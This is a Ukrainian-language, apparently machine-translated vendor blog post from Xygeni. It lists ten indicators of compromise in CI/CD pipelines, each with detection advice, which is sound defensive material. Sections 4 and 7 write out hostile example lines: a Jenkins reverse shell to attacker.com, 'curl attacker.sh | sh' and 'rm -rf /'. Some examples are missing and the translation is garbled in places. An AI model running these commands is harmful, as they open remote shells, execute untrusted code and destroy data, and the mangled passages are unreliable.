10 головних показників компромісу в CI/CD Pipelines

Вступ: Які показники компрометації в кібербезпеці?

Індикатори компрометації – це перші попереджувальні сигнали того, що ваша система або pipeline може бути під атакою. Простими словами, індикатори компромісу сліди, залишені нападниками, як дивні loginс, зміни файлів або приховане шкідливе програмне забезпечення. У Кібербезпека МОК, вони діють як відбитки пальців на місці злочину, даючи вам чіткий доказ того, що щось не так. Тому, коли розробники запитують які ознаки компромісу, відповідь не обмежується серверами чи брандмауерами, вона також включає ризики, приховані в сучасних CI/CD pipelines.

У цих pipelineЗловмисники можуть непомітно змінювати код, впроваджувати шкідливі залежності або змінювати кроки збірки. Однак більшість посібників все ще зосереджені лише на серверах або мережах. В результаті ланцюжок постачання програмного забезпечення став однією з найлегших цілей.

Ось чому пошук індикаторів компромісу в CI/CD pipelines є важливим. Перш за все, це допомагає командам блокувати шкідливе програмне забезпечення, захищати секрети та захищати кожен етап розробки програмного забезпечення.

10 головних показників компромісу в CI/CD Pipelines

При поясненні індикаторів компрометації більшість списків зосереджуються на серверах або мережах. Однак у CI/CD pipelineЗловмисники залишають дуже різні відбитки пальців. Розпізнавання цих сигналів має вирішальне значення для проактивного захисту. Нижче наведено 10 червоних прапорців кібербезпеки IOC, на які повинен звертати увагу кожен розробник та інженер з безпеки.

1. Підозрілі зміни залежностей

Один з головних показників компромісу в pipelines — це раптове, дивне оновлення залежностей. Зловмисники часто використовують довіру, яку розробники надають менеджерам пакетів, щоб додавати небезпечні пакети.

Наприклад, у npm a package.json різниця може раптово включати:

Такі зміни можуть виглядати безпечними, але можуть впроваджувати троянський код у кожну збірку.

Вплив: Уражені збірки успадковують шкідливе програмне забезпечення у джерелі.

Виявлення: забезпечувати перевірку залежностей, відстежувати різницю між файлами блокування та постійно сканувати нові пакети.

2. Заплутаний код у збірках 

Автори шкідливого програмного забезпечення покладаються на обфускацію, щоб обійти перевірки. Як наслідок, цей показник компрометації в CI/CD pipelines може бути одним з найважчих для виявлення. Фактично, завуальовані корисні навантаження часто прослизають у бібліотеки з відкритим кодом або образи контейнерів без попередження.

Наприклад:

  • Пакет PyPI, що використовує base64.b64decode("cHJpbnQoSGFja2VkKQ==").
  • Образ Docker, запакований непотрібними бінарними файлами UPX.
  • JavaScript, повний \x41\x42 втікає від прихованих викрадачів посвідчень.

Вплив: Прихований код виконується непомітно під час збірки або виконання, що робить це критичним сигналом у кібербезпеці IOC.
Виявлення: Поєднувати SAST за допомогою сканування на шкідливе програмне забезпечення для позначення закодованого або упакованого коду. Понад усе, ставтеся до обфускації як до червоного прапорця, який потребує подальшого розслідування.

3. Розкриті секрети Git: класичний ризик кібербезпеки IOC

CI/CD pipelineчасто успадковують секрети безпосередньо з репозиторіїв. Однак коли секрети з'являються в Git, вони стають однією з найчіткіших відповідей на питання «що є показниками компромісу в pipeline«Щойно облікові дані потрапляють до Git, зловмисники можуть використовувати їх необмежений час.

Наприклад:

  • A .env файл, що містить AWS_SECRET_KEY=.
  • Токени введено config.json.
  • Секрети все ще видно в історії Git навіть після видалення.

Вплив: Розкриті ключі надають зловмисникам прямий доступ до CI/CD pipelineс, хмарні системи або бази даних. Тому це один із найнебезпечніших показників компрометації.
Виявлення: Скористайтеся кнопкою pre-commit hooks та завдання CI для секретного сканування та негайного скасування витік ключів. Крім того, застосуйте автоматизоване виправлення, щоб зменшити періоди виявлення.

4. Підроблено Pipeline Конфігурації: Приховані індикатори компрометації

Pipeline конфігурації є цінними цілями, оскільки одна модифікація часто руйнує весь робочий процесОтже, підроблено pipeline Файли є серйозним ризиком кібербезпеки для IOC, який традиційні інструменти моніторингу рідко виявляють.

Наприклад:

  • У діях GitHub:

  • У GitLab: додано шкідливе завдання .gitlab-ci.yml що видаляє конфіденційні дані.
  • У Дженкінсі: sh "nc -e /bin/bash attacker.com 4444".

Вплив: Ці не схвалені зміни перетворюють ваше pipeline у постійний бекдор для зловмисників, що явно вважається показником компрометації.
Виявлення: Забезпечити виконання підписаних конфігурацій, вимагати схвалення PR та відстежувати неочікувані завдання. Крім того, встановити guardrails які автоматично блокують змінені робочі процеси.

5. Привілейований IaC Типово 

Неправильно налаштовані визначення інфраструктури часто створюють приховані бекдори. Як наслідок, привілейовані значення за замовчуванням у IaC є класичним ризиком кібербезпеки МОК.

Наприклад:

  • Розгортання Kubernetes, що надає pod-системи privileged: true.
  • Діаграми Helm, що висвітлюють послуги з 0.0.0.0:22.

Вплив: Зловмисники отримують root-доступ або публічно розкривають внутрішні служби. Як наслідок, ці проблеми значно розширюють поверхню атаки.
Виявлення: Застосовувати IaC сканування для забезпечення мінімальних привілеїв перед об'єднанням. Крім того, переконайтеся, що кожна конфігурація перевірена як частина pipeline.

6. Незвичайна поведінка збірки 

Зловмисники часто змінюють pipeline поведінка для прослизання у зловмисних діях. Іншими словами, незвичайна активність збірки є однією з найчіткіших відповідей на те, що є показниками компрометації в CI/CD pipelines.

Наприклад:

  • Збірки, що здійснюють вихідні мережеві запити до незнайомих доменів.
  • Проект Node.js раптово породжує PowerShell під час npm install.
  • Завдання CI завантажує великі бінарні файли, не визначені у скриптах збірки.

Вплив: Скомпрометовані збірки можуть виступати точками розповсюдження шкідливого програмного забезпечення. Перш за все, вони поширюють шкідливі корисні навантаження по кожному розгортанню.
Виявлення: Слідкуйте за журналами збірки на наявність неочікуваних процесів або підключень. Крім того, налаштуйте виявлення аномалій, щоб позначати поведінку поза межами норми.

7. Шкідливі пакетні скрипти як ризики кібербезпеки IOC

Життєвий цикл підтримки менеджерів пакетів hooks які використовують зловмисники. Тому шкідливі скрипти в npm, PyPI або Dockerfiles є вагомими індикаторами компрометації.

Наприклад:

  • npm: postinstall виконання скрипта rm -rf / або сигналізація до C2.
  • PyPI: setup.py виконання прихованого коду Python під час встановлення.
  • Dockerfile: RUN curl attacker.sh | sh.

Вплив: Атака виконується під час встановлення, до будь-якого тестування під час виконання. Отже, розробники можуть не помітити цього, поки не стане надто пізно.
Виявлення: Скануйте маніфести пакетів на наявність скриптів встановлення. Крім того, обмежте ризиковані hooks in CI/CD робочі місця для зменшення впливу.

8. Індикатори компрометації, пов'язані з отруєнням реєстру

Зловмисники замінюють або змінюють артефакти в реєстрах, і ці події є хрестоматійними прикладами того, що є показниками компрометації в ланцюжку поставок. pipelines.

Наприклад:

  • Тег зображення Docker непомітно оновлюється зараженим трояном шаром.
  • Внутрішній пакет замінено на отруєну версію.
  • використання простору імен npm, наприклад lodash-proxy.

Вплив: Кожна збірка, що використовує артефакт реєстру, стає скомпрометованою. Більше того, компрометація поширюється на наступні служби.
Виявлення: Забезпечте перевірку підписів та цілісності всіх вилучень з реєстру. Крім того, відстежуйте походження артефактів за допомогою SBOM перевірка.

9. Аномальна активність користувачів як доказ МОК

Скомпрометовані облікові записи майже завжди залишають після себе ненормальні сліди. Відповідно, незвичайна поведінка розробника є вагомим показником компрометації.

Наприклад:

  • Commitбуло відкладено о 3-й годині ночі за місцевим часом.
  • Схвалення PR-відгуків клієнтами у відпустці.
  • Pipelineспрацьовує з незвичною частотою.

Вплив: Зловмисники використовують викрадені облікові дані для внесення шкідливих змін. Зрештою, несанкціоновані commitлегко інтегруються у звичайні робочі процеси.
Виявлення: монітор SCM активності на наявність аномалій, забезпечувати багатофакторну автентифікацію (MFA) та регулярно ротувати токени. Крім того, сповіщати про підозрілі commit або моделі схвалення.

10. Невдалі перевірки цілісності або підписів у кібербезпеці МОК

Поширений, але ігнорований показник компромісу невдала перевірка цілісності або підпису. У кібербезпеці IOC ці перевірки підтверджують автентичність коду або артефактів. Їх пропуск залишає pipelineвикрито.

Приклади:

  • Хеш SHA256 не відповідає очікуваній контрольній сумі.
  • Відсутній або недійсний підпис GPG.
  • An SBOM показ непідписаних артефактів.

Вплив: Порушення цілісності часто означають втручання, отруєння реєстру або впровадження шкідливого програмного забезпечення.

Виявлення: Автоматизуйте перевірку підписів, забезпечте перевірку контрольних сум і блокуйте непідписані компоненти. Найголовніше, розглядайте кожну невдалу перевірку як явний доказ компрометації.

CI/CD Ознаки компромісу з першого погляду

Індикатор компромісу (МОК) Вплив в CI/CD Pipelines Як виявити
Підозрілі зміни залежностей Зловмисники впроваджують шкідливі бібліотеки в менеджери пакетів, що призводить до компрометації збірок. Відстежуйте різниці файлів блокування, забезпечуйте перевірку залежностей та постійно скануйте залежності.
Заплутаний код у збірках Приховані корисні навантаження виконуються під час збірки або виконання без виявлення. Скористайтеся кнопкою SAST та сканування на наявність шкідливого програмного забезпечення для позначення шаблонів коду base64, шістнадцяткового або упакованого коду.
Розкриті секрети Git Витік токенів або ключів API надає зловмисникам прямий доступ до критично важливих систем. Запуск секретних сканувань у Git hooks та автоматично скасовувати витік облікових даних.
Підроблено Pipeline Конфігурації Змінені робочі процеси дозволяють витік даних або їх збереження всередині CI/CD. Вимагати схвалення PR, забезпечувати дотримання підписаних конфігурацій та контролювати pipeline зміни.
Привілейований IaC Типово Надмірно дозвільні ролі або незахищені налаштування за замовчуванням дають змогу розкрити хмарні середовища. Сканувати файли Terraform, Kubernetes та Helm на предмет забезпечення найменших привілеїв.
Незвичайна поведінка збірки Pipelineвикористовуються як точки розповсюдження шкідливого програмного забезпечення або для латерального переміщення. Аналізуйте журнали збірки на наявність неочікуваних завантажень, процесів або вихідних викликів.
Шкідливі скрипти пакетів Приховані скрипти до/після встановлення запускають корисні навантаження перед тестуванням під час виконання. Блокувати ризиковані скрипти npm/PyPI та обмежувати їх виконання в CI/CD робочих місць.
Отруєння реєстру Троянські артефакти замінюють довірені образи або бінарні файли в реєстрах. Перевіряйте контрольні суми, забезпечуйте перевірку підписів та проактивно скануйте реєстри.
Аномальна активність користувачів Зламані облікові записи поширюють шкідливі програми commitабо тригер pipelines. Забезпечення виконання багатосторонніх фінанційних зобов'язань, моніторинг commits для аномалій та аналізувати login моделі.
Невдалі перевірки цілісності або підпису Вказує на підроблений код, залежності або зображення, що входять до pipeline. Автоматизуйте перевірки цілісності та блокуйте непідписані або невідповідні компоненти.

Чому традиційна кібербезпека МОК не спрацьовує CI/CD Ризики

Більшість організацій вже відстежують індикатори компрометації на серверах, комп'ютерах або мережах. Однак цей класичний підхід до кібербезпеки IOC ігнорує CI/CD pipelines, які зараз є однією з найважливіших поверхонь для атаки. Фактично, pipelineпоказують унікальні сигнали компрометації, які традиційні інструменти не можуть виявити.

Ознаки компромісу в традиційній безпеці

У традиційній кібербезпеці IOC основна увага зазвичай приділяється:

  • незвичайний loginабо IP-адреси, які вказують на викрадені облікові дані.
  • Підозрілі хеші файлів або зміни в реєстрі, які виявляють наявність шкідливого програмного забезпечення.
  • Неочікуваний вихідний трафік, який вказує на витік даних.

Це добре відомі показники, які також відстежуються в Рамка MITRE ATT&CK, який відображає поширену поведінку та тактику зловмисників. Це корисні сигнали. Однак вони стосуються переважно операційних систем або корпоративних мереж. Як наслідок, вони не помічають тонких втручань, які відбуваються раніше в ланцюжку постачання програмного забезпечення.

Чому CI/CD Pipelines відрізняються

CI/CD pipeline— це автоматизовані середовища, де розробники commit код, залежності, що витягуються, та випуски збірок. Зловмисники знають, що одна компрометація тут каскадно поширюється на кожне розгортання. Відповідно, які індикатори компрометації в CI/CD pipelineВони виглядають дуже по-різному:

  • Шкідлива залежність, непомітно додана до package.json або requirements.txt.
  • Ключі або токени API, доступні в Git commits або файли .env.
  • Завуальований код, введений у пакети npm або PyPI.
  • Файли Terraform або Kubernetes з небезпечними значеннями за замовчуванням, такими як privileged: true.
  • Pipeline завдання, відредаговані для вилучення даних або відкриття бекдорів.

Ці сигнали компромісу в CI/CD залишатися невидимим для standard засоби безпеки.

Прогалина в кібербезпеці МОК

Хоча багато команд розуміють цінність індикаторів компрометації, вони все ще покладаються лише на виявлення з серверів та мережевих журналів. Таким чином, зловмисники можуть отруювати збірки або вставляти шкідливе програмне забезпечення, не залишаючи звичайних слідів. Саме тому такі інциденти, як бекдор XZ Utils або шкідливі npm-пакети, залишалися непоміченими, доки не досягли продакшену.

Такі компроміси в ланцюгах поставок також висвітлюються CISКерівництво з безпеки ланцюга поставок від A, який попереджає, що зловмисники все частіше націлюються на CI/CD pipelineта реєстри.

Їжа на винос

Традиційна кібербезпека МОК необхідна, але недостатня. Перш за все, команди повинні розпізнавати ознаки компрометації, характерні для CI/CD pipelineс. Тільки тоді вони можуть виявити шкідливий код або pipeline зловживання, перш ніж воно пошириться в іншому середовищі.

інструменти-для-аналізу-складу-програмного-засобу-sca
Визначте пріоритети, усуньте та захистіть ризики, пов'язані з програмним забезпеченням
Отримайте свій безкоштовний обліковий запис.
Не потрібна кредитна картка.

Забезпечте розробку та доставку програмного забезпечення

з пакетом продуктів Xygeni